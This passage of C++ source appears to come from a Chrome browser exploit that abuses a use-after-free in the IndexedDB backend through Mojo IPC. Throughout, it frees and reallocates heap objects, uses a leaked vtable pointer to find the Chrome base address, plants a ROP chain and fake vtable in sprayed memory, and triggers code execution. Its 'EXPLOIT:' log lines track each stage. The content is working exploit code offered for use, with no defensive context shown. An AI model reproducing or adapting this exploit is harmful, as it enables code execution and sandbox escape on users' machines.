vtabledb_req_->CreateObjectStore(OBJ_STORE_ID, "dummy",
blink::IDBKeyPath(name), true);
dbglog("EXPLOIT: Heap ptr %llx should be safely reallocated now\n",
leaked_ptr_);
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::Step2, base::Unretained(this)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::Step2() {
dbglog("\nEXPLOIT: Step 2: Reallocating the previous freed database"
" to not crash\n");
dbglog("-------------------------------------------------------------\n");
// Free the metadata name which we used to reallocate the freed
// IndexedDBDatabase object from which we leaked the heap ptr.
dbglog("EXPLOIT: Freeing metadata which we used to replace the freed "
"IndexedDBDatabase object!\n");
for (size_t i = 0; i < NUM_OBJ_STORES; i++) {
dbglog("EXPLOIT: Deleting object store %lu/%lu\n", i, NUM_OBJ_STORES-1);
reusedb_req_->DeleteObjectStore(OBJ_STORE_ID+1+i);
usleep(MOJO_CALL_DELAY);
}
reusedb_req_.reset();
reusedb_.reset();
dbglog("EXPLOIT: Chunk should be freed now! "
"Reallocate with IndexedDBDatabase object now!\n");
// The initially freed IndexedDBDatabase object is now free again.
// Quickly reallocate the freed chunk with a new IndexedDBDatabase object
// to let the dangling database map pointer point to some valid object.
//
// It's very important that we succeed in rellocating the freed chunk
// here with a new IndexedDBDatabase object, because otherwise we'll
// get a crash when trying to trigger the bug a second time later!
//
// This part failed in 1 out of 100 attempts, leading to a crash, but
// it might be possible to fix this case with a little bit of extra
// code, to get 100% reliability.
for (size_t i = 0; i < NUM_KEEP_DBS; i++) {
auto callbacks_reuse = base::WrapUnique(new WebIDBCallbacksImplSave());
auto db_callbacks = base::WrapUnique(new WebIDBDatabaseCallbacksImpl());
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
auto request = mojo::MakeRequest(&transaction_request);
idb_factory_->Open(GetCallbacksProxy(std::move(callbacks_reuse)),
GetDatabaseCallbacksProxy(std::move(db_callbacks)),
"db_keep"+WTF::String::Number(i), 0, std::move(request), 0);
usleep(MOJO_CALL_DELAY);
}
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::CleanupDb, base::Unretained(this)),
base::TimeDelta::FromSeconds(1));
}
void Exploit::CleanupDb() {
// Make sure to reset the remaining mojo pointers so that we will
// successfully delete the databases below.
create_db_req_.reset();
reusedb_req_.reset();
// Delete the unused database to avoid a nullptr crash
dbglog("EXPLOIT: Deleting unused database to avoid a nullptr crash later\n");
auto callbacks = base::WrapUnique(new WebIDBCallbacksImpl());
idb_factory_->DeleteDatabase(GetCallbacksProxy(std::move(callbacks)),
db_reuse_name_, false);
// We call AbortTransactionsForDatabase() here to notice early if we didn't
// manage to reallocate the fake IndexedDBDatabase memory. If we failed to
// reallocate, this call will crash. If we succeeded, it will be a no-op.
dbglog("EXPLOIT: Verifying that we successfully reallocated the "
"fake IndexedDBDatabase object\n");
db_name_ = NAME_HELLO2;
db_reuse_name_ = NAME_REUSE2;
idb_factory_->AbortTransactionsForDatabase(base::BindOnce(&AbortCallback,
base::Bind(&Exploit::DatabaseIsClean, base::Unretained(this))));
dbglog("EXPLOIT: Successfully reallocated fake IndexedDBDatabase object\n");
}
void Exploit::SaveDb(
blink::mojom::blink::IDBDatabaseAssociatedPtrInfo db_info) {
blink::mojom::blink::IDBDatabaseAssociatedPtr db;
db.Bind(std::move(db_info), base::ThreadTaskRunnerHandle::Get());
dbs_saved_.push_back(std::move(db));
}
void Exploit::Rop() {
if (chrome_base_) {
return;
}
dbglog("\nEXPLOIT: We have all the information, let's ROP\n");
dbglog("-------------------------------------------------------------\n");
if (!vtable_ptr_) {
dbglog("EXPLOIT: Can't ROP without the VTable ptr\n");
return;
}
dbglog("EXPLOIT: Leaked vtable ptr: 0x%llx\n", vtable_ptr_);
chrome_base_ = vtable_ptr_ - offset_vtable_;
dbglog("EXPLOIT: Chrome base: 0x%llx\n", chrome_base_);
if (!ropdb_) {
dbglog("EXPLOIT: Can't ROP without the ROP database\n");
return;
}
// Free the last database because it reallocated our heap chunk
if (dbs_saved_.size() < NUM_KEEP_DBS+1) {
dbglog("EXPLOIT: Didn't get the last database callback yet\n");
return;
}
dbglog("EXPLOIT: Now freeing the IndexedDBDatabase objects referencing "
"our slack space %llx in its metadata name\n", slack_ptr_);
while (dbs_saved_.size() >= NUM_KEEP_DBS+1) {
dbglog("EXPLOIT: Dropping stored database reference\n");
dbs_saved_.pop_back();
}
// The IndexedDBDatabase object which we previously leaked was now freed,
// including its metadata_.name string. We previously sized it to be large
// enough and now we try to reallocate the freed memory to place our ROP
// chain and shellcode inside.
dbglog("EXPLOIT: Reallocating 0x%llx with our ROP\n", slack_ptr_);
{
UChar* tmp = new UChar[SLACK_SPACE/2];
char* tmp2 = reinterpret_cast<char*>(tmp);
memset(tmp2, 0x43, SLACK_SPACE);
*reinterpret_cast<unsigned long long*>(
tmp2 + 0x00) = slack_ptr_ + 0x08; // the OpenRequest address
*reinterpret_cast<unsigned long long*>(
tmp2 + 0x08) = slack_ptr_ + 0x10; // the OpenRequest vtable
*reinterpret_cast<unsigned long long*>(
tmp2 + 0x10 + 0x08) = 0x2122232425262728; // virtual OpenRequest::~OpenRequest
*reinterpret_cast<unsigned long long*>(
tmp2 + 0x10 + 0x10) = chrome_base_+rop_start_addr_; // virtual OpenRequest::Perform
// Apply all requested write operations from renderer hook
for (size_t i = 0; i < renderer_ops_.size(); i++) {
std::vector<uint64_t> op = renderer_ops_[i];
uint64_t offset = op[1];
uint64_t value = op[2];
uint64_t tmp_value;
switch (op[0]) {
case Cmd::CMD_WRITE8:
dbglog("EXPLOIT: Writing value %llx at offset %llx\n",
value, offset);
memcpy(tmp2+offset, &value, sizeof(value));
break;
case Cmd::CMD_WRITE8_CHROME_BASE_PLUS_VALUE:
dbglog("EXPLOIT: Writing chrome base plus value %llx at "
"offset %llx\n", value, offset);
tmp_value = chrome_base_ + value;
memcpy(tmp2+offset, &tmp_value, sizeof(tmp_value));
break;
case Cmd::CMD_WRITE8_SLACK_BASE_PLUS_VALUE:
dbglog("EXPLOIT: Writing slack base plus value %llx at "
"offset %llx\n", value, offset);
tmp_value = slack_ptr_ + value;
memcpy(tmp2+offset, &tmp_value, sizeof(tmp_value));
break;
case Cmd::CMD_WRITE8_SLACK_BASE_ALIGNED:
dbglog("EXPLOIT: Writing aligned slack base address at "
"offset %llx\n", offset);
tmp_value = slack_ptr_ & ((0 - 1) ^ (0x1000 - 1));
memcpy(tmp2+offset, &tmp_value, sizeof(tmp_value));
break;
};
}
WTF::String name(tmp, SLACK_SPACE/2);
for (size_t i = 0; i < NUM_ALLOC_SLACKSPACE_ATTEMPTS; i++) {
ropdb_req_->CreateObjectStore(456+i, "dummy",
blink::IDBKeyPath(name), true);
}
}
base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(FROM_HERE,
base::BindOnce(&Exploit::ExecRop, base::Unretained(this)),
base::TimeDelta::FromSeconds(2));
}
void Exploit::ExecRop() {
dbglog("\nEXPLOIT: Execute the ROP\n");
dbglog("-------------------------------------------------------------\n");
// Now free the metadata which was squatting our free IndexedDBDatabase
reusedb_req_->DeleteObjectStore(OBJ_STORE_ID);
reusedb_req_.reset();
reusedb_.reset();
// Finally we need to get code execution through ProcessRequestQueue()
UChar* tmp = new UChar[DB_SIZE/2];
char* tmp2 = reinterpret_cast<char*>(tmp);
memset(tmp2, 0x66, DB_SIZE);
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_ACTIVE_REQUEST) = 0; // active_request_
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BUFFER) = slack_ptr_; // pending_requests_.buffer
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_CAPACITY) = TARGET_SIZE; // pending_requests_.capacity
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_BEGIN) = 0; // begin
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PENDING_REQUESTS_END) = TARGET_SIZE-8; // end
*reinterpret_cast<unsigned long long*>(
tmp2 + OFFSET_PROCESSING_PENDING) = 0; // processing_pending_requests_
WTF::String name(tmp, DB_SIZE/2);
for (size_t i = 0; i < 3; i++) {
ropdb_req_->CreateObjectStore(900+i, name,
blink::IDBKeyPath(name), true);
}
// Execute OpenRequest::Perform
blink::mojom::blink::IDBTransactionAssociatedPtr transaction_request;
OpenDatabase(0, &transaction_request, 0);
transaction_request.reset();
}